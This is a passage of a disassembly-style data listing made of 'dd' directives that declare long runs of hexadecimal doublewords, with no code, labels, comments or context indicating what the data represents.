		dd 0D4C097C8h, 0A1007FA6h, 788F9DD3h, 0E44D511h, 0F665D2A3h
		dd 80F452C5h, 0A0FD0680h, 31E883EAh, 89DFE500h,	0F9779468h
		dd 0E23803B5h, 0FBC12E75h, 37D53018h, 13640A39h, 19FC65h
		dd 0ACEE9D6Ah, 51039C88h, 0B6781EA3h, 5A36E926h, 54023180h
		dd 9B5508E3h, 5638F800h, 9CED06FEh, 0C1290775h,	0C7B6EF8Dh
		dd 222180EAh, 0E1FDF240h, 0BC2081A0h, 83CABFE5h, 392685F4h
		dd 99003A42h, 0F063E438h, 68E4D4ABh, 7AD6E800h,	0AFD958D7h
		dd 233800EFh, 5B02E612h, 46031375h, 0BD16F3C1h,	7C98DEDBh
		dd 1F2F015Ah, 0FAB6FDB9h, 16B18739h, 40CECEA8h,	0EFF008E7h
		dd 8996002Ch, 0AD17827Fh, 7D00C5E5h, 573FF8AFh,	0E43C8Fh
		dd 0C887245h, 0E6BA5398h, 0F4543200h, 9BF6EA61h, 0F0F20067h
		dd 0FACE7DC6h, 1E037F25h, 0EB280A15h, 0C11BA364h, 74D02F4Ah
		dd 0F3F03EAh, 52B96A4Bh, 6E3DF0F7h, 18309A19h, 6F831810h
		dd 3E011E7Bh, 84758CF0h, 0A7783610h, 24A19C0Dh,	3C8C2825h
		dd 0B2613D9Fh, 23F1900Ch, 0B7467Fh, 64211FE9h, 0A419BA6Ah
		dd 0DBFCC501h, 1AB24E1Eh, 0A2465D0h, 0FE9B6F0h,	9E870714h
		dd 1EE1005Dh, 0A11815F5h, 347843FEh, 6EFA0CA5h,	0B7706503h
		dd 0D2311CA4h, 0F4DEE9ECh, 9C097h, 0B1CDF066h, 24600390h
		dd 0C4BA1999h, 89C0C337h, 0B86829AEh, 29F85C20h, 70BB811Bh
		dd 0BD00F6D1h, 98B3E45Ch, 0E2A4ECF2h, 0A01D63EDh, 0D5E8F15Bh
		dd 0EA30091Ah, 0DE68381Bh, 0E1B41FC3h, 0C9149802h, 81001AEDh
		dd 0C7529E21h, 74F72D85h, 785F48BAh, 0A700530h,	31C031E4h
		dd 6DC56C41h, 72FCF91Ch, 18686342h, 73B04BDAh, 105ECF1h
		dd 48EA08DBh, 8668B400h, 2602BBABh, 149F73B5h, 0A111A00Bh
		dd 87830512h, 98004009h, 10D91A85h, 451300A6h, 0C74B52ACh
		dd 6D004DF1h, 0EE31B18Eh, 0C2307005h, 63998C79h, 40F424A5h
		dd 8E7814BCh, 0B43A33E3h, 0C136304Fh, 906F9BEFh, 353B00FCh
		dd 0E26AF239h, 9914B33Eh, 1CCC1EDCh, 0E582BEB8h, 80AE0650h
		dd 0D5A684ECh, 3C22C702h, 0DD8E8131h, 68CC43F2h, 0E9B53D98h
		dd 40246B37h, 0C2868360h, 0E630C308h, 93E0F51Dh, 4978849Fh
		dd 52C8A506h, 70580EC4h, 1629DF45h, 0C2D8009Bh,	0DE598350h
		dd 4600F9E6h, 0AE4C8630h, 0BF388h, 556C1076h, 1D5311DDh
		dd 0E45B160Ch, 445D1937h, 5F7ACFD9h, 0E64E3Ch, 0A678D98h
		dd 92C89F0Bh, 7B341D98h, 0B7383023h, 0D9003D75h, 0D8B0726Eh
		dd 2ED5DBh, 0ACE9C902h,	0BE78FFE5h, 0A9EA9A00h,	0C0F20426h
		dd 6F4D0071h, 0DDA9701h, 2E1E38BCh, 0E4807BD6h,	5EF8F628h
		dd 0E9EF0FB9h, 0A9006AE5h, 4233D470h, 10C4E87Dh, 0C11DA4E0h
		dd 2DFB929Dh, 0A089F048h, 85199160h, 129FC0h, 0DDBA7251h
		dd 0E344016Eh, 336AB607h, 0A60BDF5h, 0FF3425DEh, 9CA68083h
		dd 4480D7C8h, 15075BD9h, 93C6DCD5h, 3FBA6060h, 7BB417EDh
		dd 80171CA4h, 0ADE847E9h, 40C0D712h, 6D5ABA88h,	0E2D318B6h
		dd 56B949A3h, 0CD3E90A8h, 0FE18F200h, 2109A10Fh, 5D25CE7h
		dd 0B9D62A00h, 6FD943F1h, 0F4F0C100h, 0D59D93CFh, 0FA850079h
		dd 0FE0299BDh, 0E903F1F2h, 0AA74F3BCh, 1F8E0F8Bh, 40FF56E5h
		dd 2631EA34h, 0C900BA33h, 64F3C803h, 0F27BA8B4h, 2F0A03E0h
		dd 0D739CAACh, 975EBE0h, 164D2E01h, 15A5457Bh, 0C0CFFCD0h
		dd 7F72EF20h, 0E5A05C3Ah, 0AE008270h, 0E5D58194h, 65ACFB1Ah
		dd 81BC58B6h, 60A6D728h, 700D0EE8h, 287E5166h, 0CAC44880h
		dd 5C59EC67h, 19113F60h, 1EE6C06h, 0E86A18C7h, 0D16940B8h
		dd 0F4218364h, 893B6C0Eh, 0B1ACC722h, 2A8100C0h, 0FB16A005h
		dd 0C58E3D00h, 0BB5DB6EEh, 18C903BCh, 0E80D093Ah, 0F42A7907h
		dd 86703EC0h, 3A63C960h, 0B4305BF6h, 0C00BA421h, 0C5875503h
		dd 0D01421h, 0BD23AB18h, 7F99E219h, 414DCF00h, 0EB5DD9C5h
		dd 31C6183Dh, 34C7F8B8h, 0E8766D31h, 390084E0h,	4F0009FBh
		dd 46F5979Ch, 2896EC3Ah, 0C81669h, 0F8957A19h, 73651A34h
		dd 43088600h, 17B44D6Ch, 66970088h, 6BE87905h, 6500E360h
		dd 394E591Bh, 75C06F80h, 0D362007Bh, 45557893h,	7002DFE6h
		dd 4EDBCBFCh, 3E8E8353h, 36C590D2h, 24389035h, 6F8BF83h
		dd 34D1FC9Ch, 9D848200h, 64BEAF7Ah, 0E7F83E57h,	606A9F07h
		dd 0A044379Eh, 0CB3982A1h
		dd 92243500h, 0A08D7963h, 374AF856h, 80203B9Eh,	4625A7E7h
		dd 0D7E31C0h, 0BF6AB5Eh, 59637D0Fh, 0FF841080h,	0CC16C2CEh
		dd 0E30047D7h, 30720D28h, 0B5EE000Ah, 2CD55723h, 44033861h
		dd 0D71A3E56h, 0A70AA811h, 0DE4C1479h, 29B014EDh, 0EC072A8Ch
		dd 7E839D04h, 0D323A3BFh, 0D4900960h, 2680A41Ah, 0B213C4DDh
		dd 0B92D0D00h, 26E6C968h, 7CBF001Fh, 0EFFD88CEh, 2200BB8Eh
		dd 438B2F02h, 1E67E7Bh,	2C5DBECCh, 0FC92DD53h, 0D800FEE3h
		dd 580664AAh, 3C34E8DEh, 95BF3E50h, 0C2984400h,	0A33827B7h
		dd 0CA053B00h, 0B259B67Fh, 4CDF0160h, 322E1134h, 8AA370C6h
		dd 6ACD1300h, 2C1F5A67h, 0A3F48Eh, 0D41925Eh, 13F948D8h
		dd 66037DFCh, 0D63A9311h, 7AA09F4Eh, 0EFDAA6h, 4076572Eh
		dd 0BF5D9A9Bh, 85956D1Ch, 51B73D40h, 0C21680h, 842857BEh
		dd 24DC1C18h, 0B2A94900h, 32432D3Bh, 30217256h,	0BF344FF6h
		dd 68E28025h, 0D1A95B00h, 6BBE046Dh, 36FF0064h,	58F2E941h
		dd 5115FC1Bh, 3AFC235Ch, 594C8091h, 0D98F667Bh,	0D69F00E0h
		dd 5ACB5CD8h, 2A7EEDA9h, 1EBC8100h, 0A50AABA8h,	0DCA20038h
		dd 0E2836E9Dh, 24E98BE6h, 2C00EC30h, 22138815h,	0BABC584h
		dd 0F030244Ah, 10148407h, 586D635Ah, 10034E0Eh,	0D185804Ch
		dd 5B7E8Eh, 446C4B38h, 761F33D5h, 24915Ch, 0DFDD3666h
		dd 50CB7Ah, 0B3BE227Ch,	88CA5E49h, 10F5F100h, 3811FA0Fh
		dd 71EE0F63h, 0F409E586h, 76C21180h, 0C7006AFDh, 967378CBh
		dd 7FBE2DE3h, 57580097h, 3F396764h, 0B5008A89h,	2BF8CCA9h
		dd 3E026323h, 61BD0E46h, 4E36B080h, 2DFAFB5Eh, 0D76ADD01h
		dd 464AACB7h, 4C14C0C0h, 0D64868A8h, 607AA202h,	0B44815C6h
		dd 4D0E5E7Fh, 40E90F96h, 613212F4h, 43481Bh, 65E6007Fh
		dd 0CC5D8026h, 700D23Ch, 23B21C52h, 6F763Fh, 77D3C95Ah
		dd 0B1607B63h, 58A0FB32h, 1C7D107Ah, 9A6A3600h,	0D2992A90h
		dd 1AA301FCh, 0E287765Eh, 7ABD403Bh, 0A7006C57h, 0FF491175h
		dd 4A24C7h, 187434FBh, 5D447A17h, 43635100h, 3FAEA3D3h
		dd 0B518C016h, 62AB7927h, 584E1C00h, 3D12376Eh,	8D460F99h
		dd 0CFC7357Bh, 908B046Ch, 59E9F704h, 0A6EE7200h, 0DD251120h
		dd 5B4004FEh, 0C3AEEC7Eh, 46F879CCh, 665820FFh,	73BC0026h
		dd 6910157Dh, 0B7F83AEDh, 0F991A380h, 21C0B59Ch, 5CE73100h
		dd 36DF7348h, 375E001Eh, 3E0B062Fh, 1B01E18Eh, 5D81088Bh
		dd 46E43284h, 79C50039h, 0AD81595h, 5FE82010h, 8900A177h
		dd 0D144AC7Dh, 5EF22Bh,	3E0C37E2h, 907F9B5Bh, 0C9001C74h
		dd 0C41E6FA7h, 9014E20Dh, 0E01500EDh, 9175E6DDh, 6A28C8BDh
		dd 1E90A69Eh, 85A0FD00h, 0D7F4610Ch, 7F70FA30h,	3CB61DF8h
		dd 901615E0h, 6DEC3307h, 0EAD8D5A9h, 2800DE85h,	0C38E65B9h
		dd 11410E21h, 0C4C0BD6Dh, 0E4833609h, 4BC20E00h, 20C69D6Ah
		dd 89C1002Eh, 4705F76Ch, 263D2C8Dh, 615600E3h, 736B4E2Ah
		dd 57210F34h, 2E0FEF6h,	0CE854435h, 1BB95800h, 6D258768h
		dd 0D8A1503Eh, 0D796011Ah, 0FBFE469Dh, 1C1EE0CBh, 0A773F500h
		dd 0DA138466h, 0E49C00CFh, 261DB015h, 0D7FC7A16h, 0BF95BA00h
		dd 9CA88780h, 29098E5h,	96D1FB25h, 7860B02Ah, 0DE26A16Ah
		dd 4A082CB7h, 8B0B00F7h, 488D0341h, 68D92000h, 0D547373Ch
		dd 84620092h, 0CBA62E49h, 0CF24CE83h, 96074413h, 27405560h
		dd 392FA1h, 5B344A71h, 7C653C44h, 7FC93000h, 6EB1CBF2h
		dd 890C09DAh, 0C420718Ch, 834434DEh, 62F88500h,	0CD8A7A57h
		dd 31F772Fh, 0B7AA2A67h, 50E70281h, 0FE613CA7h,	0A8943F1Dh
		dd 0CFA00F9h, 0BD6C45A3h, 1F2700F0h, 0C3B07005h, 8A00F3DEh
		dd 8272FCEFh, 0FBF3C30h, 38088C11h, 0AABDDAE0h,	68ECD8B6h
		dd 0BC85FF00h, 318C0AEBh, 11799Fh, 0DEEF6D7h, 0CEE350A0h
		dd 0D2B53Fh, 586AD39Dh,	28DB61h, 8F0A7385h, 0B501225Bh
		dd 0DA8ABB12h, 160F1C00h, 9D35FB40h, 4A0024F8h,	88E1C433h
		dd 788F7995h, 0A6EF00BBh, 2209BA1Ch, 0CB00A299h, 0F41883FDh
		dd 3CEDA43h, 0F1EDF351h, 26B01ABEh, 7B0F6C5Ah, 40E8EAE5h
		dd 0CB40A6EBh, 3C597CB3h, 0E00ED89h, 354E6F1Ch,	6400F4B9h
		dd 132790B5h, 5504D9h, 5C6BE375h, 0C2454DF2h, 37C6D301h
		dd 2F3796Ah, 69B9C4h, 0E10AC59Ah, 783E6E86h, 0D5102060h
		dd 1EE26035h, 0BA952Ch,	2BDE7DA1h, 3B2C7014h, 49D0C3h
		dd 438FFAFBh, 6610AF3h,	7DE4FFEh, 63539BD2h, 0B7E86A12h
		dd 7B982B48h, 3BD44705h, 93C03EF7h, 1DAE5B74h, 78A632h
		dd 4EC80E9Ch, 0D600A42Ah, 7C48F6E8h, 0C2DE54h, 9421DABCh
		dd 0B2604E6Ah, 76A139h,	9CB0D9CDh, 1F0F6h, 0EEBD51Ch, 146FBB78h
		dd 80CA7C1Dh, 6ACB92C2h, 82B04086h, 1657C1Eh, 62994651h
		dd 0EDE801D6h, 0F987F936h, 44BB4018h, 43006176h, 3C8132E1h
		dd 1711402h, 8DEBBB01h,	2A49BA23h, 0E2FB74C0h, 108309CEh
		dd 70214B44h, 34911BCFh, 46011FC0h, 0CD0884ABh,	41D050AFh
		dd 289D634Bh, 608F2856h, 25769CE1h, 742CE800h, 90DC62D9h
		dd 64E73CA0h, 1694F702h, 8181A1E6h, 0F1C2ABCEh,	0D00371E9h
		dd 5903D173h, 295709DFh, 0CF9E90E2h, 30678E6h, 0BB05AAC4h
		dd 45C04CF4h, 0D40027ABh, 9174CD9Ch, 3CFE39h, 8C61C405h
		dd 21EA7C81h, 319420D1h, 3A60201Fh, 0C096AD30h,	4B610BD1h
		dd 7C079424h, 252A79F3h, 0B96D8CC0h, 77E6B8h, 87BF4248h
		dd 0F3E8CF19h, 9E75E500h, 814A5D8Bh, 0E297D74h,	0EB34940Bh
		dd 0E4364843h, 8B46DEC0h, 2B088507h, 0FAE025C3h, 1CAFF03Fh
		dd 3AA2F4DAh, 700BF600h, 0CB4ED0EAh, 0F9E58F0Eh, 3935403Dh
		dd 298952h, 53844985h, 8D9A0FA7h, 9B086500h, 6D624F61h
		dd 73550107h, 23043BECh, 0B219D0E3h, 3EA1AE05h,	0FD81D858h
		dd 69CC4FD3h, 3420332h,	99C2D454h, 0B0B534B8h, 701D0A00h
		dd 0B1233DC4h, 0C094A028h, 0D6150080h, 779C901Ah, 492661Dh
		dd 137A1EF6h, 159E5F3Eh, 100C141Ch, 0C88FB9E3h,	0B7B38450h
		dd 18A10C22h, 135CE6FBh, 0CD190C20h, 8D4953E5h,	9DCA9B10h
		dd 4A7A560Bh, 91032820h, 791C574Dh, 8E65981Fh, 89434040h
		dd 357A59E3h, 0A510F1Ch, 80F4B31Ch, 0A8636F03h,	0DF3C1FBAh
		dd 1B121EC4h, 6506CA1Eh, 4470C31Eh, 0E0F93090h,	8A193CCh
		dd 0BBCDE0C5h, 0C92888h, 11BC249Ch, 2A8C49A6h, 79635A30h
		dd 96745BBh, 6A9E3BF7h,	0ECEB4010h, 9F1FC9E0h, 627966h
		dd 11F64A20h, 0BD4B0121h, 759CD700h, 0F3290837h, 1043006Bh
		dd 0D10F39F6h, 9200D211h, 0B37FD028h, 98F1BFBh,	0FFB7610Dh
		dd 0D7E5B000h, 1E60C7F5h, 0E9B33970h, 63913F8Ah, 95AA7500h
		dd 0D921E7C5h, 80C5BECh, 898679ADh, 3EB90EE9h, 7C20C3BEh
		dd 9818B05Dh, 0FFCD2100h, 0C17F50D5h, 0B0227680h, 272B1h
		dd 716D1944h, 5258E2FAh, 0FB919C01h, 0A407A220h, 0F63E9450h
		dd 30EF1624h, 788A064Ch, 5D01988Bh, 0D9638E7Fh,	2DE0BA48h
		dd 2810C0EBh, 1E19A22Ah, 0D999B60h, 0C8B6E42h, 0CA079513h
		dd 0D603C659h, 46BA168Dh, 22E8003Ah, 27A6392h, 8C0028ECh
		dd 0B115BDC3h, 3D7446h,	9D860A7h, 3B41111Fh, 8FD4763Dh
		dd 0A0BA7C63h, 0F1577F71h, 797C62h, 0F4D3D110h,	63800E92h
		dd 0A3F3007h, 0BE302BEDh, 4C55FBh, 0F9D83776h, 0D140AFA8h
		dd 6295780Ch, 3D4020h, 0E20567C3h, 5A285CB0h, 2334BC1Dh
		dd 2078C20Ch
		dd 82F03DAh, 0DD4AD790h, 73B66888h, 411E5B30h, 3D6FE6EAh
		dd 43009BDEh, 0C6E9AF3Ch, 2D80D5ADh, 944550B8h,	71760069h
		dd 0C1019D02h, 41C71FDAh, 2F415763h, 118B8051h,	0AC80E919h
		dd 1CB673F2h, 883FA31h,	2087D19Eh, 501991DBh, 21E9BD6h
		dd 0FF4B6F00h, 704A2310h, 7A2FC92h, 0AEDB440h, 0E676E3ECh
		dd 0D1722898h, 0AA114F3Fh, 924684A4h, 0E1056601h, 0B2364B0h
		dd 82EF900h, 0D7A9172h,	207CA300h, 0DE2D3E50h, 1FAD3264h
		dd 0F03048C8h, 0F26F0816h, 40589FEBh, 0D49898h,	0CE9C5FF4h
		dd 16887C4Eh, 9DD8C250h, 908BA2FCh, 0C095826Fh,	0FDB8B2B8h
		dd 0AA00DDA9h, 0CBC5BE49h, 0AC9DD6h, 7AFFE071h,	0E3DA8DBFh
		dd 0F4FA7D72h, 34B9C700h, 0E4D31AB1h, 63D00DFh,	8576C35h
		dd 9F00738Ah, 0F7F2870Ch, 5A30C8h, 586E9239h, 0AF15089Eh
		dd 1D20A90Eh, 0FEC17DE3h, 0A30C1147h, 0C23ACCh,	60656440h
		dd 0E253D885h, 849F5900h, 0C0E8C945h, 5AE758F1h, 0FFE3D00h
		dd 16285F63h, 18BF1C00h, 9625F451h, 0A19B004Ah,	68C35CB9h
		dd 0FD00D745h, 0E3AB9585h, 0EA23B58h, 28F82126h, 8656EBA0h
		dd 721F97D3h, 0E040AE40h, 6DAFADE7h, 53290042h,	0F399F8CAh
		dd 0F73A4ED3h, 0AE2A18F6h, 20A320h, 875F4353h, 9173FCF9h
		dd 5CAA3D01h, 0E26E93BFh, 0D7404880h, 0B17AE934h, 78139C1Fh
		dd 0D83A2603h, 4D2000E1h, 54C45A04h, 1113D750h,	760CA7EFh
		dd 0FC2123h, 0BE707377h, 6CF26126h, 75ADDF48h, 0ADE9B800h
		dd 0A225D272h, 2CC0C86Dh, 1453EFC0h, 0F64921FEh, 79002D91h
		dd 0B6B75327h, 0EB73E8B0h, 0B2DC9F00h, 7C444E9Ah, 1C460C63h
		dd 0E251E5DFh, 5BC39EA0h, 0CD11B360h, 1042ECFh,	0E55086DCh
		dd 0D11BD62Ch, 0E2908FE9h, 0E02F20F7h, 0F15DBF3h, 0BC730B7h
		dd 90F5162Eh, 0FDF43700h, 0B7A9AC8Eh, 8DD9CE38h, 7813E10Ah
		dd 0A812FFD4h, 0AD36D84h, 9F56438Eh, 602744A4h,	10C159EBh
		dd 0C8D25854h, 73138E8Ah, 17007F2Fh, 182F9892h,	3E00084Eh
		dd 0E5DC69FDh, 46E3148Eh, 232330B4h, 0BD3EC420h, 2230D254h
		dd 7671E288h, 2F050073h, 548F8C30h, 0F408A23Ch,	0F62532h
		dd 0D4DFE2DAh, 1C00E4FFh, 0E603B1B7h, 2F5DB15h,	0AE6C98BBh
		dd 4E40E936h, 8A00290Bh, 0DB496A1Eh, 0E7041A0h,	694B87DAh
		dd 73DD0122h, 0A4375D60h, 6B309600h, 270A47DEh,	0FF8700F7h
		dd 17776480h, 0CC00A241h, 44C3D850h, 30F5EB5h, 657F1C99h
		dd 31BED7F2h, 8883DC1Dh, 1AE4F400h, 17846Eh, 7DA28005h
		dd 3BDB5D11h, 46A8070Fh, 0DD10304Fh, 0F3CE0087h, 8BCAC314h
		dd 0D21800A4h, 6691B507h, 0E4002A4Eh, 0F3273D9Ah, 75775D40h
		dd 0DE71CCC3h, 0BB002841h, 0E8BA272Eh, 42CE08h,	6318EBD4h
		dd 0B879F582h, 4D334F00h, 556D3F1Fh, 90F960A8h,	54AC4748h
		dd 518AB98h, 0ED50F6BEh, 183A0063h, 0DB6872CFh,	5E07AA78h
		dd 0F11622F5h, 7E9E0A3h, 0D6A52328h, 76A70F2h, 2E0036ADh
		dd 5EEAC155h, 60DCD8DEh, 0FD9CA1D9h, 7A008939h,	52404F93h
		dd 0F36796h, 4736F926h,	0F65FA372h, 0BFEB7D00h,	964F6C8Fh
		dd 0B6DE07A2h, 0CA955B66h, 1D7108A4h, 68D17600h, 0F72EE27h
		dd 4F47F614h, 30D74246h, 0D43FE002h, 9F1CF9CAh,	0D65B7004h
		dd 1D10C060h, 0F80965C1h, 0FEB20061h, 1F6EC514h, 1A011194h
		dd 0BE847CDBh, 0C070AF55h, 61B73EE9h, 8B291D31h, 0FA950091h
		dd 0F26400EBh, 5A3CD109h, 3F006A15h, 4A61DE62h,	0C41738h
		dd 7B71422Eh, 51D00745h, 0F87EF501h, 8F12D7D9h,	1361FC8h
		dd 0F38934A0h, 0D8D41A2Bh, 0C301FA0Eh, 5AD88D16h, 24D8AC52h
		dd 755900E4h, 0D71FDB8Bh, 0B000A1EAh, 30CED03Dh, 0A86ACCh
		dd 0F171C96h, 0CD32431Ah, 0FE6CBA1Dh, 0E3773A03h, 0FF19D0B9h
		dd 8B8200D7h, 1ECBAB40h, 47006F23h, 0B5988F28h,	3EF6AAh
		dd 0A9BB5631h, 0E05D728Ch, 3F400E00h, 0E5EB6F97h, 0B63503AFh
		dd 17ED57A7h, 684289B8h, 2961B400h, 7E197A66h, 76200070h
		dd 4E4CB2C1h, 0A00001E9h, 95330F61h, 7C95E3Ah, 35913F7Bh
		dd 24DDC04Fh, 0B807EC3Eh, 4BACCDD3h, 0E900B5E7h, 1E97EAh
		dd 0A3214D88h, 0FE438508h, 9CE17500h, 0E3FDB161h, 8A94007Eh
		dd 0A21B0D03h, 361C9BE7h, 0E1037904h, 90D314BCh, 0DE2202h
		dd 0A243EE26h, 6206C353h, 80317A38h, 60DAD1ECh,	0EEF82E1h
		dd 6F2B9F86h, 64A70DA0h, 4EE624A2h, 812405E2h, 0FA1820F6h
		dd 294B88h, 0E8693F6Fh,	0C13EF760h, 610014FEh, 7021819h
		dd 1EC60B04h, 40CD7434h, 0BD38F540h, 0F27AF609h, 0B3B5F400h
		dd 10BFA547h, 989D00B1h, 89EAA942h, 3C0485ECh, 0EEF812DFh
		dd 0D3B96090h, 0DBB101DAh, 0CC7FBF0h, 0F721C405h, 0D2A3CC00h
		dd 185E31E4h, 57630046h, 0FD42B0A0h, 59002DB8h,	0EE2A0305h
		dd 0AEFF37h, 0C8AB49Dh,	401C5B2Ch, 0A2E20D16h, 0B11E4B00h
		dd 0AC363h, 6CF6F475h, 919FEC3Ch, 5957521Fh, 3E433540h
		dd 7E5BEEh, 8B9723E9h, 0B984D85h, 2B0076F8h, 68A0D9ADh
		dd 0FED05379h, 6CAE005Ch, 8EC7CB9Ah, 291F88A5h,	0EDC0B20Fh
		dd 0CC69AB1Ah, 0B6E300C4h, 6568B7CBh, 771FC94Ah, 0E9CF34DBh
		dd 889AC060h, 4848E298h, 7900E820h, 58AF461Ch, 0B00B7A1h
		dd 0B961CB2Eh, 0AEFEC7h, 0CACDD2F2h, 91B005C1h,	68A0EA60h
		dd 30480h, 21F227D0h, 75177FD5h, 0CA315Ch, 134FFCD2h, 558123h
		dd 989E3D09h, 695E6133h, 6B0416EEh, 0BA736814h,	0D560A487h
		dd 506F43Eh, 74A42FB8h,	5B900058h, 646C57FEh, 445D7F24h
		dd 0AA4C7D02h, 9AF080B0h, 24C8A3EEh, 57017DDh, 0C0440474h
		dd 0B65670D4h, 32EC3315h, 0D88411F8h, 6EC36D0Ah, 0EF888FC0h
		dd 0AF187120h, 2E007D78h, 47F47710h, 23F240h, 920142DCh
		dd 29DD5354h, 0CCC88267h, 0BD1B2D90h, 0E8EB570Fh, 77E6A400h
		dd 0B9D6EFD1h, 0E2297300h, 0D73615CCh, 0E57E1D55h, 40B40F7h
		dd 9102CF2h, 303CB477h,	0A7ECDEA6h, 4C2A040h, 0F7959E4Dh
		dd 26589C25h, 2A0C2D1Ch, 0A95939CEh, 6C4820DDh,	0ECB484Eh
		dd 0BCEE2480h, 62D79A40h, 8C00E6BFh, 0E8B59B25h, 135A14h
		dd 0C93E6C68h, 1FF2AD24h, 147D23Bh, 5F1192E0h, 189D0BBFh
		dd 22480009h, 0CA2A19F6h, 52168500h, 0D0EAE76Dh, 73B11FF3h
		dd 5E0F09D2h, 886FD80Fh, 0A953ABA1h, 7860E817h,	0BD7D6F0Eh
		dd 6A01C031h, 390D5B1Dh, 740002D6h, 0E7357519h,	83001F7Fh
		dd 0B25ACD07h, 0EADD579Fh, 99E200EBh, 2D8C4191h, 97079035h
		dd 0DC3002ECh, 0D88EA1B1h, 2A188848h, 0B8449B5h, 0FE2B47AFh
		dd 8217F804h, 84CF240h,	0A6B7C323h, 0FC2A0004h,	569A0224h
		dd 7425E4A0h, 0AA4E1202h, 488853EAh, 0EE389538h, 0F05B604Bh
		dd 48BE172Bh, 9AA7F00h,	0E6CD84E8h, 46F71C0h, 657DF3Ah
		dd 3110801Bh, 926FE80h,	7B1C1866h, 502000BAh, 0A9AB7176h
		dd 57C05A3h, 9006B6FCh,	0E9FF79B0h, 0EB34BD00h,	29877A57h
		dd 545D7EC9h, 92B4809h,	0C1226778h, 262A3400h, 1F2C5F12h
		dd 0E080D49Eh, 8D43649Bh, 9053FB55h, 0F6B0BF28h, 7390C094h
		dd 0EC1A186Bh, 2769509Ah, 0E150C101h, 0A28FAF60h, 161ADFCCh
		dd 295D34Fh, 0D2D81D60h, 0C00D866h, 23DF9A1Bh, 7E3457B5h
		dd 4E24001Ah, 0C28DC362h, 0D0C9D3FFh, 0D2D0110Ch, 0AA846053h
		dd 0D5E08323h, 572C8972h, 54D683D8h, 8C5F8838h,	5700747Bh
		dd 0A965E49h, 0A7241Fh,	5348521Dh, 2EB7C0Bh, 0E973AE00h
		dd 44F3EAA4h
		dd 3D770947h, 0D02F3746h, 0D7EF5821h, 4F698265h, 0A3E2DB03h
		dd 0FC845380h, 17599C90h, 38F0E31h, 0D8DD6E07h,	6FDAA277h
		dd 30B3D630h, 9981C2h, 62B5A371h, 7DD2AC4Bh, 0A0AE4212h
		dd 7D92440h, 0D5E46Ah, 31416D6Ch, 42B59CD4h, 0FF9DA400h
		dd 0CF49D27Ah, 3C8E0CCEh, 7558AFA0h, 59EF860Eh,	6A204076h
		dd 0E39A53h, 0F9396B73h, 0D248E745h, 804BE83Ch,	0F591510Eh
		dd 0FFE14411h, 349FD4h,	0C1B35D13h, 0F67CC74Ch,	37D7CC0Fh
		dd 0BD865DC9h, 211A565h, 61C20539h, 8200D806h, 6A848Dh
		dd 439DD7B8h, 0FA3619F1h, 26627D3Dh, 0D008C6Eh,	1DEFE2BEh
		dd 0D8A40222h, 0F0970241h, 99075468h, 0FB943501h, 80D081DCh
		dd 0CBA3D281h, 0E05C8F6Eh, 8500D826h, 71B21AC1h, 0C35659h
		dd 0D1E3883h, 479B3732h, 3A14744Dh, 9C7F9EDAh, 3968C87h
		dd 0EE4EECh, 0FDF9484Fh, 0ADC188AFh, 0D672A700h, 0CF39BBC8h
		dd 5847004Ah, 464CF9EDh, 620E1C2Ah, 800810F1h, 0A35B671h
		dd 0C84400C7h, 24C00FD1h, 0E60006CFh, 0EA222B43h, 1B2CC08h
		dd 61647347h, 20EEC394h, 10C16265h, 232C593Eh, 727AEBC8h
		dd 0B6B0252h, 0A7C09E75h, 0C0767849h, 5FF48E7Fh, 0DD06000h
		dd 1FC94670h, 9748093Ah, 388439EAh, 0C34DC04Ah,	637AF362h
		dd 0D90E1C0Fh, 0EFA8A008h, 0E10BE0h, 0F63D650Dh, 629F54D2h
		dd 6DB4A001h, 1942917h,	8001062h, 9BA915ADh, 12391A99h
		dd 2ED06B0h, 2E3289h, 292EF3EBh, 5083804h, 0CD31241Eh
		dd 1A65E347h, 575820E9h, 0F63072FBh, 656E4CE0h,	0E6A6C200h
		dd 927B3614h, 69AC2F01h, 0BA5CF882h, 77024C62h,	70DE27B5h
		dd 0C03EDC80h, 681EF855h, 4503431Eh, 0D0356716h, 9BB5A8DCh
		dd 94A0810h, 1777441h, 0CB82719h, 0A9ABE720h, 420800A1h
		dd 0A63D2294h, 0B20F8CCCh, 618824EEh, 4A0F2CC8h, 59A460h
		dd 85089381h, 3ED6F60Ah, 0E9603094h, 6DA8495h, 82EC7765h
		dd 0EF766222h, 0D49EC601h, 0CAF5F812h, 2E2D744Ch, 825041ECh
		dd 0D4E92A85h, 0D9882860h, 0B5051D07h, 6CD02F82h, 4C623D87h
		dd 0B76BC5Eh, 15369024h, 0F3755838h, 820AC00h, 37EF9048h
		dd 3A7829h, 6A6F7286h, 0E9CBD268h, 9BB6790Bh, 0E1E400A7h
		dd 0F90BC41Ch, 3D059460h, 23C83A3Fh, 25CA5B16h,	86B8DC8Ch
		dd 0F156058Ch, 23AF6D5Fh, 5A965B68h, 6C545300h,	0D47639F6h
		dd 9F8F301Dh, 6BAD19C9h, 86C4C254h, 4AEE200h, 6EBBFAC6h
		dd 88E09B66h, 2C60D3EBh, 2B88FC7h, 0AE492193h, 0A142180Fh
		dd 3911F020h, 0E894EB2Bh, 0CC45982Eh, 5DE4CE00h, 12FE4E4Ch
		dd 0DB28CAh, 0E811A10h,	2A7FBE74h, 0D12E6300h, 3FC35391h
		dd 5FFC0423h, 80202556h, 0E188E084h, 53CC500h, 796DD254h
		dd 463300DCh, 50EBD0AAh, 1B00A04Dh, 0C95D2940h,	0F2F52Fh
		dd 0BFE81D59h, 7D31352Eh, 0D873E424h, 0C8F42C00h, 97FCE1h
		dd 0FDC46725h, 5D3A49C6h, 1B791F00h, 0EE845A39h, 0F730C089h
		dd 6714FD2Fh, 1F00DE73h, 661A633Ch, 7EE64B57h, 13D30AF5h
		dd 8AACC165h, 80B8CB58h, 9E22745Dh, 4900A880h, 3B34EE0Fh
		dd 1937E8Bh, 67F246E8h,	0FEDBEF4Dh, 16B290E0h, 8FC88C60h
		dd 7E8AC8h, 689EE6D3h, 4AA4AE74h, 0FB894503h, 0E0DD6A6Eh
		dd 2792D52h, 92ECF7D0h,	5960811Ch, 61CA6EBh, 0FE40710Bh
		dd 0FFA717C6h, 214B0373h, 0D20DADE7h, 0F05F5D90h, 7EEDDB00h
		dd 74A43D32h, 0F5E0091h, 3A1BE223h, 1501F17Bh, 0DD64666Bh
		dd 1A601CF8h, 0ECB004F0h, 90036765h, 6A5E7444h,	0C2F67500h
		dd 1DA3D7D8h, 85E80945h, 58C0298Ah, 0D301BB71h,	1A8E90C6h
		dd 2DDCBCDBh, 0AE770010h, 24F234BEh, 39F11714h,	659500B4h
